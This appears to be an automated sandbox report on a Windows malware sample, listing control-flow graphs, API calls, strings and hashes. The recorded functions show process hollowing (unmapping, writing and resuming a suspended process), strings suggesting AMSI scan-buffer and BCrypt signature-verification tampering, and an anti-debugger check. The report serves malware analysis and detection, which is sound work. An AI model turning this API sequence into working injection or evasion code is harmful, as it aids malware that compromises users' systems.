2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca7cf8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca7cf8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c SetThreadContext NtResumeThread call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c92c2c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca8798 * 3 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7298->7349 7350 2ca9ca9-2ca9cf6 call 2ca89b0 call 2ca89a4 7298->7350 7337->7195 7575 2caa458-2caa6ea call 2ca8798 * 2 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 * 5 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2ca7ecc call 2ca8798 * 2 7349->7575 7350->7349 7575->6830
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA881C: LoadLibraryA.KERNEL32(00000000,00000000,02CA8903), ref: 02CA8850
                                                                                                                                                                        • Part of subcall function 02CA881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CA8903), ref: 02CA8860
                                                                                                                                                                        • Part of subcall function 02CA881C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 02CA8879
                                                                                                                                                                        • Part of subcall function 02CA881C: FreeLibrary.KERNEL32(74AE0000,00000000,02CF1388,Function_000065D8,00000004,02CF1398,02CF1388,000186A3,00000040,02CF139C,74AE0000,00000000,00000000,00000000,00000000,02CA8903), ref: 02CA88E3
                                                                                                                                                                        • Part of subcall function 02CA85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CA8660
                                                                                                                                                                      • GetThreadContext.KERNEL32(00000864,02CF1420,ScanString,02CF13A4,02CAA774,UacInitialize,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,UacInitialize,02CF13A4), ref: 02CA943A
                                                                                                                                                                        • Part of subcall function 02CA824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA82BD
                                                                                                                                                                        • Part of subcall function 02CA84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02CA8521
                                                                                                                                                                        • Part of subcall function 02CA79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CA7A1F
                                                                                                                                                                        • Part of subcall function 02CA7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA7D6C
                                                                                                                                                                      • SetThreadContext.KERNEL32(00000864,02CF1420,ScanBuffer,02CF13A4,02CAA774,ScanString,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,000005C8,00276FF8,02CF14F8,00000004,02CF14FC), ref: 02CAA14F
                                                                                                                                                                      • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000864,00000000,00000864,02CF1420,ScanBuffer,02CF13A4,02CAA774,ScanString,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,000005C8,00276FF8,02CF14F8), ref: 02CAA15C
                                                                                                                                                                        • Part of subcall function 02CA8798: LoadLibraryW.KERNEL32(bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,UacScan), ref: 02CA87AC
                                                                                                                                                                        • Part of subcall function 02CA8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CA87C6
                                                                                                                                                                        • Part of subcall function 02CA8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize), ref: 02CA8802
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
                                                                                                                                                                      • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$H!(!$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                      • API String ID: 4083799063-748296347
                                                                                                                                                                      • Opcode ID: 372611b17cce9ce01b418db178e73af9aa4ef586ed121095a63c6a78e5fc4886
                                                                                                                                                                      • Instruction ID: 381a7239cc910b0f209d7fb66cca82562f14feb54a4ab9f229ee42b43612f713
                                                                                                                                                                      • Opcode Fuzzy Hash: 372611b17cce9ce01b418db178e73af9aa4ef586ed121095a63c6a78e5fc4886
                                                                                                                                                                      • Instruction Fuzzy Hash: 10E22D75A501299FDF25FBA4CCA4BDE73BAAF85304F1141A1E109EB214DE30AE86DF50
                                                                                                                                                                      Function 02CA8BA6 Relevance: 47.1, APIs: 3, Strings: 23, Instructions: 1605threadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 7653 2ca8ba6-2ca8bab 7655 2ca8bb0-2ca8bb5 7653->7655 7655->7655 7656 2ca8bb7-2ca8c9e call 2c9493c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7655->7656 7687 2caa6ef-2caa759 call 2c944d0 * 2 call 2c94c0c call 2c944d0 call 2c944ac call 2c944d0 * 2 7656->7687 7688 2ca8ca4-2ca8d7f call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7656->7688 7688->7687 7732 2ca8d85-2ca90ad call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c930d4 * 2 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94d8c call 2c94d9c call 2ca85d4 7688->7732 7841 2ca90af-2ca911b call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7732->7841 7842 2ca9120-2ca9441 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c92ee0 call 2c92f08 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c GetThreadContext 7732->7842 7841->7842 7842->7687 7950 2ca9447-2ca96aa call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca824c 7842->7950 8023 2ca96b0-2ca9819 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca84bc 7950->8023 8024 2ca99b7-2ca9a23 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 7950->8024 8113 2ca981b-2ca9841 call 2ca79ac 8023->8113 8114 2ca9843-2ca98af call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 8023->8114 8052 2ca9a28-2ca9ba8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca79ac 8024->8052 8052->7687 8155 2ca9bae-2ca9ca7 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca8ab8 8052->8155 8123 2ca98b4-2ca99b5 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca79ac 8113->8123 8114->8123 8123->8052 8206 2ca9cfb-2caa6ea call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca7cf8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca7cf8 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c SetThreadContext NtResumeThread call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c92c2c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca8798 * 3 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca8798 * 2 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 * 5 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2c9480c call 2c9494c call 2c94798 call 2c9494c call 2ca8798 call 2ca7ecc call 2ca8798 * 2 8155->8206 8207 2ca9ca9-2ca9cf6 call 2ca89b0 call 2ca89a4 8155->8207 8206->7687 8207->8206
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA881C: LoadLibraryA.KERNEL32(00000000,00000000,02CA8903), ref: 02CA8850
                                                                                                                                                                        • Part of subcall function 02CA881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CA8903), ref: 02CA8860
                                                                                                                                                                        • Part of subcall function 02CA881C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 02CA8879
                                                                                                                                                                        • Part of subcall function 02CA881C: FreeLibrary.KERNEL32(74AE0000,00000000,02CF1388,Function_000065D8,00000004,02CF1398,02CF1388,000186A3,00000040,02CF139C,74AE0000,00000000,00000000,00000000,00000000,02CA8903), ref: 02CA88E3
                                                                                                                                                                        • Part of subcall function 02CA85D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02CA8660
                                                                                                                                                                      • GetThreadContext.KERNEL32(00000864,02CF1420,ScanString,02CF13A4,02CAA774,UacInitialize,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,UacInitialize,02CF13A4), ref: 02CA943A
                                                                                                                                                                        • Part of subcall function 02CA824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA82BD
                                                                                                                                                                        • Part of subcall function 02CA84BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02CA8521
                                                                                                                                                                        • Part of subcall function 02CA79AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02CA7A1F
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
                                                                                                                                                                      • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$H!(!$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                                      • API String ID: 2852987580-748296347
                                                                                                                                                                      • Opcode ID: 3746bfad332be44db96b3f6475485303b6fda23c2e0175102fb081cf7a5a12d5
                                                                                                                                                                      • Instruction ID: a925ff61bfa986e514913fbd2b75636c37995eb4dab041bc4461b3767db3d6e1
                                                                                                                                                                      • Opcode Fuzzy Hash: 3746bfad332be44db96b3f6475485303b6fda23c2e0175102fb081cf7a5a12d5
                                                                                                                                                                      • Instruction Fuzzy Hash: C3E22D75A5012A9FDF25FBA4CCA4BDE73BAAF85304F1141A1E109EB214DE30AE46DF50
                                                                                                                                                                      Function 02C95A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 8510 2c95a78-2c95ab9 GetModuleFileNameA RegOpenKeyExA 8511 2c95afb-2c95b3e call 2c958b4 RegQueryValueExA 8510->8511 8512 2c95abb-2c95ad7 RegOpenKeyExA 8510->8512 8517 2c95b40-2c95b5c RegQueryValueExA 8511->8517 8518 2c95b62-2c95b7c RegCloseKey 8511->8518 8512->8511 8513 2c95ad9-2c95af5 RegOpenKeyExA 8512->8513 8513->8511 8515 2c95b84-2c95bb5 lstrcpynA GetThreadLocale GetLocaleInfoA 8513->8515 8519 2c95bbb-2c95bbf 8515->8519 8520 2c95c9e-2c95ca5 8515->8520 8517->8518 8521 2c95b5e 8517->8521 8523 2c95bcb-2c95be1 lstrlenA 8519->8523 8524 2c95bc1-2c95bc5 8519->8524 8521->8518 8525 2c95be4-2c95be7 8523->8525 8524->8520 8524->8523 8526 2c95be9-2c95bf1 8525->8526 8527 2c95bf3-2c95bfb 8525->8527 8526->8527 8528 2c95be3 8526->8528 8527->8520 8529 2c95c01-2c95c06 8527->8529 8528->8525 8530 2c95c08-2c95c2e lstrcpynA LoadLibraryExA 8529->8530 8531 2c95c30-2c95c32 8529->8531 8530->8531 8531->8520 8532 2c95c34-2c95c38 8531->8532 8532->8520 8533 2c95c3a-2c95c6a lstrcpynA LoadLibraryExA 8532->8533 8533->8520 8534 2c95c6c-2c95c9c lstrcpynA LoadLibraryExA 8533->8534 8534->8520
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C90000,02CBD790), ref: 02C95A94
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C90000,02CBD790), ref: 02C95AB2
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C90000,02CBD790), ref: 02C95AD0
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02C95AEE
                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02C95B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02C95B37
                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,02C95CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02C95B7D,?,80000001), ref: 02C95B55
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,02C95B84,00000000,?,?,00000000,02C95B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02C95B77
                                                                                                                                                                      • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02C95B94
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02C95BA1
                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02C95BA7
                                                                                                                                                                      • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02C95BD2
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C95C19
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C95C29
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C95C51
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C95C61
                                                                                                                                                                      • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02C95C87
                                                                                                                                                                      • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02C95C97
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                                                                      • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                                      • API String ID: 1759228003-2375825460
                                                                                                                                                                      • Opcode ID: a7c33591854348a51efe585def1ae97e3d9152c8d1e9f8c47af4607c5d5aa3cc
                                                                                                                                                                      • Instruction ID: 19ab1774ad443053b05db0c1978f932841c68f21ce82809fcbe62fce7bd2208d
                                                                                                                                                                      • Opcode Fuzzy Hash: a7c33591854348a51efe585def1ae97e3d9152c8d1e9f8c47af4607c5d5aa3cc
                                                                                                                                                                      • Instruction Fuzzy Hash: F651B971A4064D7EFF26D6A4CC4AFEF77BD9B08784F8401A1A604E6180D7B49B44CFA4
                                                                                                                                                                      Function 02CA8798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 10477 2ca8798-2ca87bd LoadLibraryW 10478 2ca87bf-2ca87d7 GetProcAddress 10477->10478 10479 2ca8807-2ca880d 10477->10479 10480 2ca87d9-2ca87f8 call 2ca7cf8 10478->10480 10481 2ca87fc-2ca8802 FreeLibrary 10478->10481 10480->10481 10484 2ca87fa 10480->10484 10481->10479 10484->10481
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryW.KERNEL32(bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,UacScan), ref: 02CA87AC
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CA87C6
                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize), ref: 02CA8802
                                                                                                                                                                        • Part of subcall function 02CA7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA7D6C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                                                                                                      • String ID: BCryptVerifySignature$bcrypt
                                                                                                                                                                      • API String ID: 1002360270-4067648912
                                                                                                                                                                      • Opcode ID: a3dfa9e31aad4e94c41fda657156ed5236e97001aebb6606bb21b576117125f8
                                                                                                                                                                      • Instruction ID: e2aa633c89bc95334b91b1ae2a269b772971aa89815258bf8a8da1f7dcdeae59
                                                                                                                                                                      • Opcode Fuzzy Hash: a3dfa9e31aad4e94c41fda657156ed5236e97001aebb6606bb21b576117125f8
                                                                                                                                                                      • Instruction Fuzzy Hash: 71F0C271A80314DFEF90AB69A848F76379EA790399F480B3AB30C87580C7F18818CB50
                                                                                                                                                                      Function 02CAEBE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 10494 2caebe8-2caec02 GetModuleHandleW 10495 2caec2e-2caec36 10494->10495 10496 2caec04-2caec16 GetProcAddress 10494->10496 10496->10495 10497 2caec18-2caec28 CheckRemoteDebuggerPresent 10496->10497 10497->10495 10498 2caec2a 10497->10498 10498->10495
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase), ref: 02CAEBF8
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02CAEC0A
                                                                                                                                                                      • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02CAEC21
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
